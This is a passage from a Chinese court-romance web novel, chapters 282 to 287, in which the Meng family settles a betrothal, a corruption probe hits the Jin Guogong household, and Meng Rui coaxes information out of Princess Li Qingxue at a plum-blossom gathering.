对谢清源破坏他的计划,很难不生气。
“纪侯爷,以后咱们就是亲家了,说什么藏不藏的?”谢清源心情颇好地说。
孟瑜和纪华筠成了婚,以后在京城定下来,谢清源高兴还来不及,不会为了永宁侯的一点指责生气,还亲热地拉着永宁侯说话。
“赐婚圣旨已下,咱们来谈谈两个孩子的婚期吧?”
“哼!”永宁侯余怒未消,甩开谢清源的手,自行坐下。
永宁侯夫人跟随永宁侯,坐在他身边。
看着亲密坐在一起的纪华筠和孟瑜,永宁侯夫人心知皇命难违,婚事已定,与其把关系闹僵,不如顺其自然。
再说,孟瑜的条件也不差。
他自己在羽林军中当差,得陛下看重。
父亲是陛下的近臣心腹,管着陛下的钱袋子。
兄长是状元及第,现任刑部郎中,妹妹是陛下亲封的县主。
更不用说,他的祖父是陛下的恩师谢太傅,大伯是工部尚书,二姑父郭宪是刑部侍郎……
唯一美中不足的,只有孟瑜的母亲孟天,是个不安于室,下九流混江湖的,但好歹是陛下承认的救命恩人,诰命夫人,勉强也拿得出手。
而且孟天不常在京,府中没有婆母约束,纪华筠嫁过来的日子也好过。
这么一想,永宁侯夫人觉得,这也是桩不错的婚事。
关键是她女儿纪华筠,看起来很满意孟瑜,不会再和他们闹。
昨天纪华筠在祠堂闹的那一场,还有纪华筠冲出去飞檐走壁逃跑,永宁侯夫人现在想起来,还感觉后怕。
能看到女儿安然无恙地在眼前,她知足了。
“侯爷,您看,华筠和孟家二郎站在一处,多般配。”
永宁侯夫人打着圆场,为孟瑜说好话。
“您之前在家,不也常夸孟家二郎武功好,现在快要成一家人了,是喜事呀!”
永宁侯脸色稍缓,他对孟瑜是满意的,对这门亲事也并不反对,而且赐婚圣旨已下,他反对也没有用。
孟瑜牵着纪华筠走过来,对着永宁侯夫妇恭敬行礼。
永宁侯看到纪华筠,气闷地摆了摆手。
他现在见不得这个忤逆不听话的女儿,怕忍不住火气,又和她吵起来。
之后,两家开始商议婚事的具体事宜。
按永宁侯夫人的想法,还想再多留纪华筠一年半载,三书六礼都可以慢慢准备。
谢清源表示尊重,只要孟瑜肯留在京城,婚期他主要看两个孩子和亲家的意见。
但纪华筠,恨不得明天就嫁给孟瑜。
在昨日和永宁侯吵过之后,她不想回永宁侯府,不想面对暴躁蛮横的永宁侯,和对她一堆要求的永宁侯夫人。
最终,两相权衡,婚期定在明年秋天,具体还要请人看好日子再定。
两家人一起用了晚膳后,纪华筠不情不愿地跟着爹娘回了永宁侯府。
“感觉就像做梦一样。”
送走了永宁侯一家,孟蕊跟随父兄往府中走。
她特意走到孟瑜身边贺喜,“恭喜啊,二哥,祝你和华筠姐姐百年好合。”
“谢谢小妹。”孟瑜笑着应道。
孟蕊看到二哥不再是以前那张面无表情的冰块脸,不禁感叹纪华筠的魅力之大。
孟瑾也向孟瑜道喜,孟瑜客气回应:
“长幼有序,我的婚事已经定下,你也要抓紧了。”
“没关系,我不着急,二弟你成婚不必顾及我。”
孟瑾下意识看了一眼孟蕊,淡淡道。
“刑部的案子太多,这一两年都有的忙。”
听到刑部,孟蕊想到许南音的事,“对了,大哥,听说今日许御史在朝堂上弹劾晋国公,这件事现在什么结果?”
许御史言出必行,果真写了折子,上了朝堂弹劾。
他要求彻查吏部和晋国公府,保护御史及其家眷的安全。
这一提议,得到了御史台所有御史的联名上书,在早朝上闹出了不小的动静,一直闹到快中午,早朝才结束。
“陛下已经下旨,要刑部和大理寺共同彻查晋国公及其亲眷所犯恶事,一旦查证属实,严惩不贷。”
孟瑾不紧不慢地说,言语中透着一丝冷意。
“晋国公惹了御史台的众怒,他就算能挺过这关,未来也难在朝堂立足。”
孟蕊明白,御史台的御史们,都不是省油的灯,他们若都紧盯晋国公的错处,晋国公在朝堂上束手束脚,很难再有建树。
“只查晋国公府吗?许御史提出要彻查吏部……会查吗?”孟蕊问。
“没有彻查吏部的旨意。”
孟瑾语气平静,眼眸深沉。
“曹家树大根深,不是那么容易能动的。”
孟蕊深有同感,连永宁侯就想要攀上曹家的大树,可见其在朝中势力深厚。
她不禁回忆起前世,尽管朝中立储的呼声很高,但直到孟蕊身死,都没听说陛下有立太子的消息。
曹家支持的二皇子,想当太子,不是那么容易的。
但孟蕊也不想姜瑶支持的三皇子当太子。
想到姜瑶,孟蕊心中浮起几分怪异的感觉。
一个月前,吴贵妃征得陛下同意,给三皇子定下了皇子正妃,是吴贵妃的侄女、户部尚书嫡女吴宁清。
而在前世,三皇子妃这个位置,是姜瑶的……
第283章 关心的事
接下来的几天,刑部和大理寺彻查晋国公府,引起了轩然大波。
首先是晋国公夫人和齐月佳,在永宁侯府构陷许南音清誉的案子。
刘管事和齐月佳的丫鬟,禁不住受刑都招了,证实是晋国公夫人指使二房,使出此等下作手段。
他们要毁了许南音的清誉,一来,是为了报复许御史弹劾晋国公,要让最在乎名声的许御史颜面扫地;
二来,是为了杜绝齐大公子齐辕对许南音的心思,让齐辕乖乖和赵雅娴定亲。
然后,是调查晋国公府这些年来的往来账目,以及晋国公在吏部任职时的违规行为。
被晋国公安排前途的大公子齐辕和世子齐轩,首当其冲。
他们一个被安排进了吏部,一个被安排进了翰林院,都是艳羡旁人的官职。
晋国公为了齐轩的官职,给翰林学士送了一个名贵的古董屏风,虽然做得隐蔽,但还是被刑部查了出来。
如此一来,齐辕和齐轩都被停职,勒令回府自省。
晋国公府一大家子,都被关在府中,接受调查。
与其交好的世家,纷纷避而远之。
不少与晋国公府交情过深的,担心被牵连,到处打听消息,其中不乏有找上孟瑾的。
孟瑾对来者全都不假辞色,这些人又打起了孟蕊的主意,让家中女眷设宴邀请孟蕊。
孟蕊为了躲避麻烦,这些日子都没有出门,每日除了习武,就是了解京中这半年以来的各种大事小情。
孟蕊五月初离开京城,归来已是冬月末,再过一个月,就要过年。
这半年时间,除了吏部贪腐案外,京中没发生什么惊天动地的大事,不过孟蕊关心的事,倒是有几件。
安乐侯夫人沈氏的日子,越来越不好过。
自从孟蕊与安乐侯府断绝关系后,安乐侯府的产业回到了沈氏手中打理。
沈氏本就不善经营,又身体柔弱不能自理,没有足够的精力来管理田庄铺面,更不用说像孟蕊那样及时更新货品款式,四处收集商业信息,买低卖高,赚取高利润。
侯府产业在沈氏糟糕的管理下,收益每况愈下,沈氏却无能为力。
安乐侯得知后,训斥沈氏不上心,没本事,为什么孟蕊可以做好,她做不好。
但安乐侯也只会训人,会找沈氏要银子,不会帮沈氏赚银子。
沈氏委屈至极,她想让亲生女儿姜瑶帮她打理铺子,可姜瑶根本看不上这些小本买卖,也不在乎沈氏的哭诉眼泪,只顾着自己要做的“大事”。
姜铭昊自从被书院开除后,就一直待在家中,安乐侯安排他去其他书院读书,他担心遭受嘲讽,怎么说都不肯去,沈氏为了这个儿子忧心不已。
更让沈氏感到糟心的,是移情别恋的夫君安乐侯。
安乐侯自从得了红姨娘,就极少踏入沈氏的院子,整日去了衙门点卯回来,就钻进红姨娘的院子,沉醉温柔乡中。
两个月前,红姨娘被查出有孕,安乐侯喜不自胜,沈氏咬牙切齿。
一个月前,红姨娘在侯府中摔倒小产,安乐侯和沈氏大吵一架。
安乐侯大骂沈氏毒妇,要剥夺她管理侯府中馈的权利,让红姨娘这个出身青楼的妾室来管,狠狠踩了沈氏的脸。
还是姜瑶回府后阻止了安乐侯的离谱行为,把侯府中馈还回了沈氏手中。
……
对于姜瑶半年前出现在孟家堡一事,谢清源查到,姜瑶确实以假身份隐瞒,离开过京城,向南而去。
但她具体去的地方,由于其行踪隐秘,除了孟家堡外,很难确定其他地点。
而同样在孟家堡内被孟蕊认出的厉青鸿的行踪,就更难查了。
能确定的是,厉青鸿不止有一个替身。
他很可能让替身留在京城,自己出现在了孟家堡,寻找其祖父厉老将军的信件。
但这只是猜测,无论孟蕊还是谢清源,都没有证据。
谢清源将事情禀报给皇帝后,皇帝说相信厉家的忠诚,让谢清源不用继续查,而对姜瑶身上的疑点,皇帝让谢清源接着调查。
八月十五,中秋宫宴上,镇北王厉青鸿,携妹青城郡主厉青雪,一起赴宴。
他自称伤已经养好,向皇帝表示感谢后,又向皇帝辞行。
宫宴后的第二天,厉青鸿带着部下,离开京城,回了北地。
青城郡主厉青雪,依然留在京城的镇北王府。
厉青鸿离京后,无人管束她,她喜欢上了办雅集,几乎每隔一月,就要办一次。
九月赏桂,十月赏菊,冬月品茗,腊月赏梅……
前三次孟蕊不在京城,都错过了。
腊月十六赏梅的帖子,孟蕊已经提前半个月收到。
厉青雪在帖子上说,请孟蕊及其两位兄长一同前往。
其他人的帖子,孟蕊都婉拒了,厉青雪的邀请,她倒是想去看看。
半年前厉青鸿有没有离开京城,厉青雪这个做妹妹的肯定知道,他们到底有什么谋算,孟蕊也想趁机,去探听下虚实。
晚膳时,孟蕊询问大哥和二哥,是否要一起去参加青城郡主的赏梅雅集。
“刑部事忙,我又查着晋国公府的案子,不方便去那些场合。”
孟瑾给孟蕊夹了一块排骨,温和笑道。
“让阿瑜陪你一同去吧,身边多带些人手,你如今是县主,要是有人欺负你,别忍着,当场就还回去,大哥给你撑腰。”
听到大哥温言提醒,孟蕊不禁想到,上一次参加厉青雪的雅集时,她被姜瑶拦路刁难,大哥突然出现,救下了她……
现在想起来,恍若隔世。
“大哥,你放心吧,我现在可以自保,不会再让人欺负了。”
孟蕊笑容明媚,转而看向沉默吃饭的孟瑜。
“二哥,你要陪我一起去吗?”
“我画画得不好。”孟瑜停下筷子,面上泛起一丝为难。
雅集的帖子上写得很清楚,赏梅作画,孟瑜实在不擅长,若是丢丑,还要连累孟蕊被人嘲笑。
“没关系的,随意作画,不论好坏,就当是去玩玩?”
孟蕊眼珠一转,搬出杀手锏。
“我让吟秋去永宁侯府问过华筠姐姐了,她也收到了帖子,到时候,我们接她一起去啊?”
果然,听到纪华筠的名字,孟瑜不再犹豫。
“好,到时我陪你们一起。”
第284章 赏梅雅集
腊月十六,天气晴好。
永宁侯府大门外,孟蕊下了马车,看向旁边正目不转睛地盯着大门看的二哥孟瑜,轻声道:
“二哥别急,门房已经进去通报了,华筠姐姐马上就出来。”
纪华筠被永宁侯夫妇带回侯府后,一直被拘在府中,与孟瑜也是大半个月没见过面。
收到雅集帖子后,孟蕊就派吟秋去和同样收到帖子的纪华筠通过气,她们说好一起去参加雅集。
说话间,纪华筠已经在丫鬟婆子们的簇拥下,从门里走了出来。
她身穿水青银线钩花缂丝百蝶裙,外披雪白狐裘披风,头梳双鬟望仙髻,绿宝石发钗点缀其中,愈加凸显纪华筠高贵典雅的气质。
孟蕊一眼便能看出,纪华筠今日这身装扮,看似清雅,实则是铆足了劲在打扮,以前没听说纪华筠喜欢参加雅集啊,那就是为了……
转头一看,果然,她二哥孟瑜,正盯着纪华筠,眼睛都看直了。
纪华筠很满意孟瑜看她的眼神,敛下眼角眉梢的笑意,款款走到孟瑜和孟蕊面前,规矩福身一礼。
“见过瑞嘉县主,见过孟二公子。”
乍一看到纪华筠如此守规矩的模样,孟蕊还有些不习惯,她连忙扶起纪华筠。
“华筠姐姐不必多礼,以后都是一家人,唤我蕊儿便是。”
孟瑜也回礼作揖,“纪小姐安好。”
纪华筠看着孟瑜端方贵公子的模样,嘴角止不住地上翘。
“孟二公子,今日很是不巧,我家的马车坏了,不知能否坐你家的马车,一同前去雅集?”
她身后的婆子皱眉提醒,“二小姐,您的马车没……”
“住嘴!本小姐说坏了就坏了。”
纪华筠横了婆子一眼,最烦的就是这些她娘永宁侯夫人派来看管她的眼线。
“我今日和瑞嘉县主一起,用不着这么多人跟着,碧枝留下,其他人都回去。”
说完,纪华筠就拉着孟蕊的手,先后上了马车。
孟瑜也骑上了马,让随从拦住想要跟上马车的丫鬟婆子们。
“回去吧,请转告纪夫人,孟瑜定会保护好纪小姐安全,请她不用担心。”
看着驶离永宁侯大门的马车,留在门口的丫鬟婆子们面面相觑。
永宁侯夫人哪里是担心武功高强的纪华筠的安全,她是怕现在放纵自我的纪华筠,惹到脾气火爆的青城郡主!
“快!快去禀报夫人。”
丫鬟婆子们齐齐往府内跑去。
马车上,纪华筠摊靠在车壁上,滔滔不绝地讲这些天在家过的糟心日子。
“我爹把我禁足关在院子里,不让我出去,哼!他以为我会乖乖听话?我直接飞出去,吓了他一大跳,哈哈哈!”
“他哪天禁我的足,我就在那天晚上,打晕看管我的侍卫,跑去他的院子吓他,不过两三个晚上而已,他就不敢再禁足我了,近几日晚上,他都在兵部衙门睡的。”
“我娘觉得我不听话,就是有病,居然找大夫来给我看病,我说我没病,打翻了药碗,把大夫赶了出去。”
“她又觉得我中邪了,请了道士来给我驱邪,我一把抓住道士,按在地上,拿刀抵着他,那骗人道士不敢说我中邪,我把他直接丢了出去。”
“我娘还不放弃,骗我陪她去皇觉寺进香,实则是去求方丈大师给我驱邪,方丈大师不愧是大师,他一见了我,就对我娘说,我没有事,反而是我娘要放下执念,顺其自然,我娘当时的脸都绿了,你说好笑不好笑?”
孟蕊不觉好笑,只觉心酸。
在外人看来,永宁侯夫妇对纪华筠这个女儿关爱备至,但只有纪华筠自己知道,那样严格的控制,有多么窒息痛苦。
纪华筠天生神力,又有武功傍身,既是如此,她也反抗艰难,若是寻常女子,或许只能遵从父母之命,别无他法。
“你这样和他们对抗,这些天岂不是很累?有吃好饭、睡好觉吗?”孟蕊关心地问。
纪华筠不在意地摆摆手,“我早就想这样干了,一点都不累,和我爹娘斗,其乐无穷!”
孟蕊愕然,不理解,但尊重。
纪华筠坐直身子,斗志昂扬地说:
“还好我有先见之明,没让碧莲和我一起回来,我才能放开手脚,去和他们斗到底!”
因为参与了罗杰裕的死,碧莲怕永宁侯向她报复,不敢回京城,留在了相州。
孟蕊给碧莲买了一个小院子,给了她新的身份,让她可以和弟弟一起生活。
想到碧莲,孟蕊从袖中拿出一封信。
“这是碧莲前日传来的书信,她过得不错,我家在相州有些产业,会让人帮忙照拂,你可以放心。”
纪华筠接过信,打开后很快看完,满足地笑道:
“真好,碧莲在相州自由自在地生活,总比在京城这个泥潭好。”
为防万一,纪华筠顺手把信烧毁。
“华筠姐姐,你当真要和你爹娘斗到底吗?”
孟蕊不太赞同纪华筠的观点。
“他们毕竟是你的亲生父母,若闹得难看,于你的名声有碍,你明年还要与我二哥成婚。”
京中的世家大族最重脸面名声,生活在这个环境中,不能全然随心所欲行事。
纪华筠一点即通,她自己爽快了是高兴,但她的未婚夫孟瑜未来的前途,也不能不顾。
情不自禁掀开车帘,纪华筠刚好看到车旁骑马陪同的孟瑜。
孟瑜察觉到纪华筠的视线,侧头看过来,与她对视。
两人默契地相视一笑。
纪华筠心情大好,觉得为了孟瑜,她可以暂时和那对老顽固爹娘休战。
……
青城郡主的赏梅雅集,在镇北王府内举办。
镇北王府内,有座梅园,其中植有数百枝梅树。
据说是厉青雪兄妹的生母,已故的镇北王妃,独爱梅花,老镇北王宠爱王妃,命人专门在王府中建了这座梅园。
马车到达镇北王府,从车窗探出头的纪华筠,望见镇北王府外停靠的马车,奇怪地“咦”了一声。
她放下窗帘,坐回车内,小声问孟蕊:
“镇北王府外,停了几辆宫里的马车,你知道是谁来了?”
第285章 入幕之宾
“华筠姐姐你不知道?”
孟蕊早已得到消息,此时并不惊讶,对纪华筠解释道。
“自从你和我二哥被赐婚后,曹氏一派就开始与镇北王府走得近了,这次雅集,听说二皇子会来。
还有吴尚书的嫡女吴宁清,她常来参加青城郡主的雅集,最近她在宫中陪伴吴贵妃,直接从宫里出来,用的应该也是宫里的马车。”
“二皇子?”纪华筠不屑地撇撇嘴,“他该不会在打厉青雪在主意吧?”
二皇子娶不到她纪华筠,拿不到南边纪家军的兵权,就打起了北地厉家军的主意。
至于吴宁清,准三皇子妃,通过参加雅集与青城郡主厉青雪交好,也是为了三皇子和镇北王府交好。
“不清楚,咱们今日可以好生观察。”
孟蕊来此的目的,就是为了弄清楚镇北王府的态度。
从马车上下来,镇北王府的丫鬟过来引路。
再次走进镇北王府,孟蕊的心境大有不同。
上一次来到这里的她,还是依附于青城郡主庇护的可怜孤女,时刻提心吊胆,一边防着姜瑶使坏,一边担心厉青鸿发疯。
面对厉青雪时,也要小心翼翼地捧着哄着,生怕惹了厉青雪不高兴。
而现在的孟蕊,找到了亲生父母和兄长,添了瑞嘉县主的响亮名头,有了武功傍身,此时身边还有二哥和未来二嫂陪她一起,可谓底气十足。
在丫鬟的引路下,孟蕊、孟瑜和纪华筠,来到了梅园的入口。
“贵人们沿着这条路走,就能到达雅集所在地。”
丫鬟指着从梅园入口为起点,蜿蜒在梅林中的青石板路。
“雅集还未开始,贵人可沿途自行赏梅,若无其他吩咐,奴婢先行告退了。”
孟蕊一行人沿着青石板路,走进梅园,欣赏着两侧的梅花。
这座梅园中,约有上百株梅树,正凌寒渐次绽放。
园中有娇艳的红梅,远望似火,如胭脂点染;也有清冷如月的白梅,如云似雪,不染纤尘,浮动于枝头,暗香涌动。
刚走没几步,孟蕊他们就听见前方传来男子气急败坏的声音。
“刚才那是什么情况,你不是没看见,她厉青雪当着本皇子的面,和那些男人亲亲热热,就是故意打本皇子的脸,你还要我如何忍耐?”
“是二皇子的声音。”孟瑜肯定道,“可要避开?”
孟蕊点头,“我们去梅林中躲一会儿,听听他们在说什么?”
纪华筠表示赞同。
他们一起快步离开青石板路,走进梅林,向前走了一小段距离后,躲到不远处的梅树后,能清晰地看到刚才说话的两个人。
正是二皇子和曹尚书之子曹湛。
二皇子和曹湛站在青石板路上,二皇子作势要往梅园外走,被曹湛拉住。
“二殿下,现在不是您任性的时候。”
曹湛压低了声音,急切地劝说。
“郡主只是与那几人吟诗作画而已,并无逾矩,殿下您不必介怀。”
二皇子回头看向曹湛,手指向梅林深处的方向,“她都快和那些男人贴到一起了,还叫‘并无逾矩’?那怎样才叫逾矩?啊?”
“太后娘娘的交代,您都忘了吗?”
曹湛想不出更多理由说服二皇子,只能搬出曹太后。
“殿下,要以大局为重啊!”
二皇子身形顿住,挫败地放下手,“我出去静一静,等会儿再进来。”
“我陪您一起去。”
曹湛和二皇子一起走出梅园。
“我就说吧,二皇子就是在打青城郡主的主意。”纪华筠鄙夷地说,“他还敢嫌弃郡主?也不瞧瞧自己是个什么货色。”
“嘘!”孟蕊阻止纪华筠继续说下去,“当心隔墙有耳。”
纪华筠自知失言,不再说话。
他们一行人走出梅林,又回到了青石板路上。
又往前走了一段路,迎面遇上青城郡主的贴身丫鬟霜儿。
霜儿对着孟蕊恭敬行礼。
“孟小姐,我家郡主一直盼着您回京,见您还没来,着急地派奴婢前来找您。”
孟蕊问:“郡主找我,可是有什么事?”
“郡主请您去前边梅香亭见她,您去了就知道了。”霜儿殷勤地说。
孟蕊上过霜儿一次当,警惕道:“我与兄长和纪小姐一起来的,便一起去拜见郡主吧。”
霜儿愣了一瞬,随即明白孟蕊在担心什么,连忙应道:
“当然,几位随奴婢可以一起去见郡主。”
在霜儿的带路下,他们继续往梅林深处走去。
园中曲径通幽,中间有一个池塘,池水清洌,偶有落梅浮于水面,随波轻漾。
走过池塘,再往前,便见一座半隐于花影之间的六角小亭。
一袭烈焰红裙的厉青雪,慵懒地倚坐在亭中,她的身边围着好几个模样俊俏的年轻男子。
这几名年轻男子,一个在为厉青雪作画,一个在为厉青雪读诗,一个在为厉青雪煮茶,还有一个正殷勤地拿着靠垫,放在厉青雪的腰后。
“青城郡主可真会享受。”纪华筠感叹道。
孟蕊也在心中暗暗吃惊,怪不得二皇子会有那么大反应。
这几个伺候厉青雪的俊俏男子,其中那个读诗的,孟蕊认识,叫孙杰逸。
半年前那次雅集上,孟蕊就见他为厉青雪写了一首十分夸张的赞美诗。
孟蕊之前也听到传言说,厉青雪在雅集上挑选家世一般又颇具才华的俊俏郎君,成为她的入幕之宾,夜里玩得很花。
如今一看,传言或许有可能是真的。
可是,前世厉青雪那么喜欢齐轩,为了嫁给齐轩,无所不用其极。
现在的厉青雪,就这样轻易地和其他男子搅在一起,她不喜欢齐轩了吗?
心安理得享受几个男子追捧伺候的厉青雪,看到孟蕊一行人来了,保持舒适的姿势不动,笑着对孟蕊招了招手。
“孟蕊,快来,看看卫云的这幅画,比之你的画艺如何?”
孟蕊没有先去看画,而是和孟瑜、纪华筠一起,先向厉青雪行礼。
“见过青城郡主。”
“都免礼,快来帮我看看画。”
厉青雪坐起身,急着对孟蕊说。
“我总觉得,别人画的我,都没有你画的我好看。”
孟蕊听闻,也生了好奇心,走到那卫云身后,看向他已经完成的梅花美人图。
第286章 相互套话
画中,一袭红衣的厉青雪,斜卧红梅树下,姿态慵懒优雅,容貌美艳端丽,比厉青雪本人要更美上三分。
孟蕊能看出画师的画功不俗,也能看出其对厉青雪的奉承态度。
但就是这奉承太过,让画中美人不够真实,溢出几分虚浮的意味,不能令厉青雪满意。
“此画画技精湛,构图巧妙,将郡主画得极美,孟蕊自愧不如。”
孟蕊谦虚地说,她与作画的卫云都不认识,没必要得罪他。
卫云明显松了一口气,要是被瑞嘉县主批评画得不好,他在青城郡主这里也难得混了。
“县主谬赞,小人惶恐。”卫云客气道。
纪华筠和孟瑜也都走了过来,看向卫云的画。
“画得还不错,就是郡主的神韵展现不及三分。”纪华筠客观评价道。
厉青雪双眼一亮,“你说得多,本郡主也觉得,他画的美则美矣,但不怎么像我。”
纪华筠了然,“世人都说,画虎画皮难画骨,人内在的神韵,往往最难画出。”
“听闻纪小姐琴棋书画样样精通,今日一见,果然不同凡响。”
厉青雪看着纪华筠,来了兴致。
“今日可否请纪小姐,为本郡主作画一幅?”
一听要作画,纪华筠连连摇头,直言婉拒:
“不瞒郡主,那些琴棋书画,都是我小时候被逼着学的,空有虚名而已,我已经好多年没画过画了,可不敢为郡主作画。
今日来到郡主的雅集,原也是为了陪蕊儿妹妹和孟二公子一同过来,若真要作画,我打算随意画画,还请郡主体谅。”
厉青雪并不为纪华筠的拒绝感到不悦,反而觉得她说话敞亮,和京中那些文绉绉的公子小姐们不一样,多了几分好感。
“你既然不喜欢,那就算了吧,本郡主也不喜欢自己做那些麻烦的事,但喜欢别人为我弹琴作画,吟诗作赋,那样才有趣儿。”
孟蕊随口夸道:“郡主真有品味。”
厉青雪骄傲地扬起头,目光从纪华筠,移到孟瑜脸上。
“孟二公子,你与你妹妹长得倒有几分相似,你的相貌,更像你母亲孟夫人。”
厉青雪向他们身后望了望,问:
“你们那个啰嗦的兄长,今日没来?”
知道厉青雪说的是孟瑾,孟蕊答道:
“回郡主,我大哥在刑部忙于查案,已经几日不曾归家休息,实在抽不出时间,请郡主见谅。”
“他还在查晋国公府的案子?”厉青雪意有所指地问,“外面都说晋国公府要垮了,是不是真的?”
“郡主您是听谁说的?”
孟蕊做出茫然的表情,不解地说。
“晋国公做吏部侍郎好些年,经手的事不知凡几,案子还在调查中,还没结果呢。”
没从孟蕊口中得到自己想要的消息,厉青雪对丫鬟霜儿使了个眼色。
霜儿对孟蕊福了福身子,替厉青雪说道:
“孟小姐,您不知道吗?现在外头啊,人人都在这样传,说晋国公府犯了大案,马上就要树倒猢狲散。
连与齐世子有婚约的姜小姐,都不再承认这门婚事,那安乐侯,亲自去了晋国公府门口,退还了婚约的信物,扬言两家再无干系呢!”
“啊呀,竟还有这等事?”
孟蕊装作才知道消息,很是惊讶的样子。
“我刚从南边回来,身子有些水土不服,一直待在家中休养,没有出门,都不知道这些事呢。”
她一边说,一边给了纪华筠一个眼神。
纪华筠会意,接着孟蕊的话说:
“蕊儿妹妹不知这些事也无妨,反正安乐侯府以前对你不好,那位齐世子,总是对你眼高于顶,现下轮到他落了难,咱们也别理他们。”
“华筠姐姐说的是,我也不想再与他们有瓜葛。”
孟蕊应着纪华筠的话,忽然想到了什么般,看向厉青雪。
“郡主,您问这些……是想帮帮齐世子吗?”
“帮他?他也配?”
厉青雪脸色突变,就要站起来,身边的孙杰逸和卫云连忙起身搀扶。
“看到了吗?本郡主的身边,不缺乖巧懂事的才子,他齐轩再傲,也即将是丧家之犬。”
厉青雪站直了身子,挥退了左右,对着孟蕊得意地说。
“你给我出的办雅集的主意真好,让本郡主发现了好多俊俏郎君,他们温柔体贴,才华横溢,伺候得本郡主非常满意,齐轩就算回心转意,他也排不上号。”
“是我失言了,请郡主勿怪。”
孟蕊行礼道歉,轻言细语地解释。
“大约是在南边待久了,回来不适应京城寒冷干燥的天气,若不是郡主有请,我今日是不会出门的。”
听到孟蕊说起两次南边,厉青雪被她勾起了好奇,“你这半年都待在南边?具体在南边哪里?好玩吗?”
“回郡主,我这半年时间,主要都待在渝州外祖家。”
孟蕊见厉青雪上钩,循循善诱道。
“我外祖家在渝州孟家堡,是江湖中有名的门派,郡主您听说过吗?”
厉青雪眸光微闪,“好像有听过这个地方。”
“说起来,我们孟家堡与厉家还有些渊源。”
孟蕊微微笑着,温声解释。
“我外祖父说,我的外曾祖父孟老堡主,与郡主您的祖父厉老将军,是交情极深的挚友。
厉老将军还在时,曾多次去到我们孟家堡,与我外曾祖父把酒言欢。
除此之外,他们也常通过书信往来……”
孟蕊说着话,不着痕迹地观察厉青雪的表情。
“厉老将军写给我外曾祖父的信,我外曾祖父非常珍惜,他们之间的情谊令人感动。”
厉青雪有所触动,“祖父去世时,我还很小,不记得他的音容笑貌了……”
“那郡主您有见过我外曾祖父写给您祖父的信吗?”孟蕊状似无意地问。
厉青雪忧伤地摇头,“没有,从没有人和我说起过。”
孟蕊与孟瑜对视一眼,都从对方眼中看到了失望。
厉青雪不知道信的事,或许是厉青鸿没有让她参与?
但厉青鸿有没有私自离京,厉青雪应该会有所察觉。
孟蕊定了定心神,继续套话。
“郡主,说起来奇怪,我半年前刚到孟家堡的时候,碰见过一个长得特别像厉王爷的人,若不是知道当时厉王爷在京城养伤,我还以为他也去了孟家堡呢!”
第287章 转换目标?
这一次,厉青雪的表情不淡定了。
“长得像我哥的人?怎么可能?你一定是看错了。”
厉青雪原本倨傲的脸上,闪过慌乱的神色。
“对,要么是你看错了,要么是那个人长得像而已,没什么大不了。”
孟蕊嘴角微勾,以她对厉青雪的了解,这就是变相的承认。
“那应该是我看错了吧。”孟蕊没再纠结这个问题。
厉青雪松了一口气,对着孟蕊不满轻哼,“本郡主看你确实是水土不服,糊里糊涂的。”
孟蕊好脾气地赔罪,“对不起,郡主,我身子不太舒服,一直在家休养,这次若不是郡主您邀请,我是不会出门的。”
“罢了,你身体不适,就去梅园外的暖阁里待着吧。”
厉青雪对孟蕊说完,又对霜儿交代。
“吩咐下去,今儿天冷,雅集的地点换到暖阁,把这群娇小姐公子们冻着了,又成了本郡主的过错。”
之后,孟蕊一行人和厉青雪,到了暖阁。
参加雅集的公子小姐们陆续进来,人数没有孟蕊参加的第一次雅集多,倒是来了好几个熟人。
吴宁清和周思彤是一起进来的。
吴宁清比孟蕊上次见时消瘦了不少,清减的容颜上,散发着淡淡愁绪。
周思彤照例是吴宁清的跟班,周到地照顾着吴宁清。
上次雅集见过的才子杜若白也来了,他依然活泼精神,没什么变化。
在梅林六角亭中伺候厉青雪的几名俊俏公子,走进了暖阁,他们也要参加雅集比试。
最后进入暖阁的,是二皇子和曹湛,他们步履从容,表情平静,不复梅林中争执的紧张。
曹湛是吏部尚书曹修易的儿子,二皇子的母妃淑妃是曹氏女,他们是天然的同盟。
曹湛没有官职,喜爱诗画,常参加京中各大雅集诗会,这次二皇子就是他带来的,厉青雪并未给二皇子发帖子邀请。
见到二皇子,众人纷纷起立,向他行礼。
“见过二殿下。”
“诸位免礼。”
二皇子朗声道。
“今日只论雅俗,不讲尊卑,都请坐吧。”
“谢二皇子。”
众人坐回自己的座位。
这次雅集的规矩,和之前几次差不多,以梅花为主题,作画或是写诗,再由所有人投票,得票最多者,可以获得青城郡主提供的彩头。
说完规矩后,参加比试的才子才女们,可以去梅园中寻找灵感,已经有想法的,可以开始作诗作画。
纪华筠和孟瑜本就不是冲着雅集彩头来的,他们难得见面,自是有许多话要说,以去梅园赏梅找灵感为由,先后离开了暖阁。
孟蕊和厉青雪说过自己身体不适,这时就不好再出去,她坐在位置上,闲闲喝着热茶。
吟夏和吟秋两个丫鬟侍立在左右,挡住了大多不熟的又要来套近乎的人。
但总有她们挡不住的,比如身份尊贵的二皇子。
“听闻蕊儿妹妹身体不适,现在可好些了?”
二皇子突然的关心,让孟蕊心头一跳。
孟蕊连忙起身行礼,“多谢二殿下关心,我休息一会儿,已经好多了。”
二皇子想要上前去扶,孟蕊灵活后退一步,避开了二皇子伸过来的手。
孟蕊快速向主座的方向看去,厉青雪早已不在那里,想来是和那几个俊俏才子,出去赏梅作画去了。
想到之前在梅园中听到二皇子说的话,孟蕊觉得奇怪。
这二皇子不去追求厉青雪,拿下镇北王府的兵权,跑来和她搭讪做什么?
难道淑妃还没有放弃,想要撮合孟蕊和二皇子,目的是谢清源手上的财权?
想到这儿,孟蕊又往后退了一步,恨不得离二皇子远远的。
二皇子察觉到孟蕊的疏离,内心不悦,但面上不显,对着孟蕊笑得亲和。
“那就好,近日天冷风寒,蕊儿妹妹要格外注意身体才是。”
“谢二殿下提点,孟蕊受教了。”
孟蕊低着头,客气应道,依然能感受到二皇子黏腻恶心的视线,在她身上来回移动。
要是在江湖上,遇到这种眼神不尊重的臭男人,孟蕊会直接训斥,对方若是不听,孟蕊一个飞刀射过去,让他不敢再盯着她看。
但对二皇子,这种做法明显不适用。
正当孟蕊想着,要用什么理由脱身时,旁边响起一道熟悉的女声。
“孟小姐,原来你躲在屋里偷懒,难怪我在外头到处找你不到。”
吴宁清笑语盈盈地走过来,熟稔地与孟蕊打招呼。
她像是才发现二皇子也在,略带惊讶地向二皇子行礼。
“宁清见过二殿下,殿下也是来找孟小姐探讨画艺的?”
二皇子看到吴宁清,冷淡了许多,“吴小姐不必多礼,我与孟小姐碰巧遇到,随意聊几句。”
吴宁清是吴贵妃的侄女,也是已经过了明路的三皇子妃,与二皇子是明确的敌对关系,二皇子对她没什么好脸色。
